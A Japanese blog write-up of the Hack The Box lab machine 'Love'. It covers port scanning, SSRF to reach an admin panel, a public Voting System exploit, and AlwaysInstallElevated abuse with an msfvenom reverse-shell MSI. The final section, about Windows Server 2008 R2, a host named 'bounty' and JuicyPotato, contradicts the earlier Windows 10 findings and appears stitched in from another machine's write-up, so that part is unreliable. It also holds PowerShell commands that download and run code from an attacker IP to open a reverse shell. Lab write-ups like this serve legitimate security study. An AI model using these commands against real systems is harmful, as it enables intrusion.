家studyをつづって

IT技術やセキュリティで勉強したことをつづっています。

【Hack The Box】Love

目次

 

 

 

偵察/スキャン

nmapでスキャンします。

「nmap -p- 10.10.10.239」の結果よりいくつかのポートが開いていることが確認できます。

上記の結果を踏まえ、開いているポートに対してさらにnmapで調査を行います。

┌──(kali㉿kali)-[~/htb/love]
└─$ nmap -p 80,135,139,443,445,3306,5000,5040,5985,5986,7680,47001,49664,49665,49667,49668,49669,49670 -sCV 10.10.10.239
Starting Nmap 7.94SVN ( https://nmap.org ) 
Nmap scan report for love.htb (10.10.10.239)
Host is up (0.25s latency).
PORT      STATE SERVICE      VERSION
80/tcp    open  http         Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-title: Voting System using PHP
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
443/tcp   open  ssl/http     Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
| ssl-cert: Subject: commonName=staging.love.htb/organizationName=ValentineCorp/stateOrProvinceName=m/countryName=in
| Not valid before: 2021-01-18T14:00:16
|_Not valid after:  2022-01-18T14:00:16
| tls-alpn:
|_  http/1.1
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_ssl-date: TLS randomness does not represent time
|_http-title: 403 Forbidden
445/tcp   open  microsoft-ds Windows 10 Pro 19042 microsoft-ds (workgroup: WORKGROUP)
3306/tcp  open  mysql?
| fingerprint-strings:
|   Help, NULL:
|_    Host '10.10.14.6' is not allowed to connect to this MariaDB server
5000/tcp  open  http         Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: 403 Forbidden
5040/tcp  open  unknown
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
5986/tcp  open  ssl/http     Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_ssl-date: 2024-07-08T05:29:57+00:00; +21m33s from scanner time.
| ssl-cert: Subject: commonName=LOVE
| Subject Alternative Name: DNS:LOVE, DNS:Love
| Not valid before: 2021-04-11T14:39:19
|_Not valid after:  2024-04-10T14:39:19
|_http-title: Not Found
| tls-alpn:
|_  http/1.1
7680/tcp  open  pando-pub?
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc        Microsoft Windows RPC
49665/tcp open  msrpc        Microsoft Windows RPC
49667/tcp open  msrpc        Microsoft Windows RPC
49668/tcp open  msrpc        Microsoft Windows RPC
49669/tcp open  msrpc        Microsoft Windows RPC
49670/tcp open  msrpc        Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3306-TCP:V=7.94SVN%I=7%D=7/8%Time=668B7392%P=x86_64-pc-linux-gnu%r(
SF:NULL,49,"E\0\0\x01\xffj\x04Host\x20'10\.10\.14\.6'\x20is\x20not\x20allo
SF:wed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(Help,49,"E\
SF:0\0\x01\xffj\x04Host\x20'10\.10\.14\.6'\x20is\x20not\x20allowed\x20to\x
SF:20connect\x20to\x20this\x20MariaDB\x20server");
Service Info: Hosts: www.example.com, LOVE, www.love.htb; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 2h06m34s, deviation: 3h30m02s, median: 21m32s
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2024-07-08T05:29:43
|_  start_date: N/A
| smb-os-discovery:
|   OS: Windows 10 Pro 19042 (Windows 10 Pro 6.3)
|   OS CPE: cpe:/o:microsoft:windows_10::-
|   Computer name: Love
|   NetBIOS computer name: LOVE\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2024-07-07T22:29:42-07:00
Service detection performed. Please report any incorrect results at https://nm

以下のポートについて、より詳細に確認していきます。

  • 80、443、5000(HTTP/HTTPS)
  • 135/139/445(SMB/RPC)
  • 3306(MySQL)
  • 5040、7680(不明なサービス)

 

SMBの調査

ゲストアクセスはできませんでした。

┌──(kali㉿kali)-[~/htb/love]
└─$ smbmap -H 10.10.10.239         

    ________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.4 | Shawn Evans - ShawnDEvans@gmail.com<ShawnDEvans@gmail.com>
                     https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB                                                                                                  
[*] Established 0 SMB connections(s) and 0 authenticated session(s)                                                          
[*] Closed 0 connections                                                                                                     
                                                                                                                                                                                                             
┌──(kali㉿kali)-[~/htb/love]
└─$ smbclient -N -L 10.10.10.239 
session setup failed: NT_STATUS_ACCESS_DENIED

 

MySQLの調査

MySQLへの接続は許可されていませんでした。

┌──(kali㉿kali)-[~/htb/love]
└─$ mysql -h 10.10.10.239                                                                     
ERROR 2002 (HY000): Received error packet before completion of TLS handshake. The authenticity of the following error cannot be verified: 1130 - Host '10.10.14.6' is not allowed to connect to this MariaDB server

 

不明なポートの調査

ここからは有益な情報を取得できませんでした。

┌──(kali㉿kali)-[~/htb/love]
└─$ curl 10.10.10.239:5080
curl: (7) Failed to connect to 10.10.10.239 port 5080 after 213 ms: Couldn't connect to server
                                                                                                                                                                                                             
┌──(kali㉿kali)-[~/htb/love]
└─$ nc 10.10.10.239 5080  
(UNKNOWN) [10.10.10.239] 5080 (?) : Connection refused
┌──(kali㉿kali)-[~/htb/love]
└─$ curl 10.10.10.239:7680
curl: (52) Empty reply from server
                                                                                                                                                                                                             
┌──(kali㉿kali)-[~/htb/love]
└─$ nc 10.10.10.239 7680  
a

HTTPSの調査

アクセスすると403となります。

ブラウザのアクセスの様子



証明書より、「staging.love.htb」が確認できるのでhostsファイルに追加します。

また、メールアドレスで確認できたドメインについても記載します。

証明書の確認

 

HTTPの調査

アクセスすると以下のような画面が表示されます。

今の時点ではログインはできませんでした。

ブラウザでのアクセス

 

なお、gobusterより、/adminが検出されます。

gobusterの結果

アクセスすると同じようなページが表示されました。

ブラウザでアクセスした様子

 

もう一つのURLにアクセスすると以下のようなページが表示されます。

staging.love.htbのアクセス

「Demo」をクリックすると、URLを入力するフォームが表示されます。

試しにKaliでWebサーバを起動し、自分のIPを入力するとリクエストが確認できます。

 

SSRFについて

サーバにリクエストを送信させて、本来アクセスできないものにアクセスできるようにすることを、サーバーサイドリクエストフォージェリ(SSRF)といいます。
今回、上記のフォームに「https://127.0.0.1:5000」を入力したところ、以下のレスポンスが確認できました。

レスポンス

先程の/adminに戻って上記を入力すると、ログインができました。

管理コンソールにアクセスした様子

 

アクセス取得

searchsploitで「Voting System」を検索するといくつか候補が見つかります。

searchsploitの結果

今回は49445を使用してみます。

www.exploit-db.com

 

上記のコードについては、宛先のアドレスや自身のアドレスを変更に加え、以下の対象URLに含まれる「/votingsystem」の文字列を削除します。

コードの変更箇所抜粋

上記の変更後にnc待ち受けでコードを実行するとシェルが取得できます。

アクセス取得

 

権限昇格

winPEASでシステムの情報を探索すると「AlwaysInstallElevated」に関する情報が確認できます。

「AlwaysInstallElevated」とは、Windowsのレジストリ設定の一つで、これが「1」に設定されていると、ユーザが管理者権限を持たずにMSIパッケージをインストールでき、その中に含まれるスクリプトやコードが管理者権限で実行されます。

HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

AlwaysInstallElevatedのレジストリ設定

 

msfvenomでmsiファイルを作成します。

┌──(kali㉿kali)-[~/htb/love]
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.6 LPORT=4443 -f msi > reverse.msi
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of msi file: 159744 bytes

作成したファイルをlove.htbにアップロードしncで待ち受けた状態で実行するとSYSTEM権限のシェルが取得できます。

ファイルのアップロード

 

 

SYSTEM権限取得



Windows Server 2008 R2であることがわかります。

systeminfoの結果

「whoami /priv」で現在のユーザの権限を確認します。

権限の確認

「SeImpersonatePrivilege」が有効になっており、また、Windows Server 2008 R2であることから「Juicy Potato」での権限昇格できる可能性があります。
※Windows Server 2019およびWindows 10 build 1809以降では、「SeImpersonatePrivilege」を利用した攻撃は防がれており、Juicy Potatoによる権限昇格はできません。

learn.microsoft.com

 

Juicy Potatoを以下のサイトよりダウンロードします。

github.com

 

以下のコマンドでbountyにJuicyPotatoを配置します。

powershell "(new-object System.Net.WebClient).Downloadfile('http://10.10.14.21/JuicyPotato.exe', 'JuicyPotato.exe')"

JuicyPotatoをbountyに配置

実行してみると、必要なオプションが提示されます。

実行結果

※JuicyPotatoの実行ではCLSIDの指定が必要という記事をいくつか見ましたが、自分の環境では不要でした。
また、オプションについては自分の指定した内容を記載しています。

 

-t:プロセス呼び出しオプションで、「*」は両方のモードを試します。
-p:kaliにリバースシェルを送り返すファイルを指定します。
-l:kaliの待ち受けポートを指定しました。

 

「-p」で指定する「shell.bat」は以下の内容を記載しました。
なお、bat内で呼んでいるps1は先程とは異なるポートを指定しています。

 

powershell -c iex(new-object net.webclient).downloadstring('http://10.10.14.21:80/Invoke-PowerShellTcp.ps1')

 

「shell.bat」をbountyに配置し、JuicyPotatoを実行します。

JuicyPotato実行結果

待ち受けたncでrootが取得できました。

root取得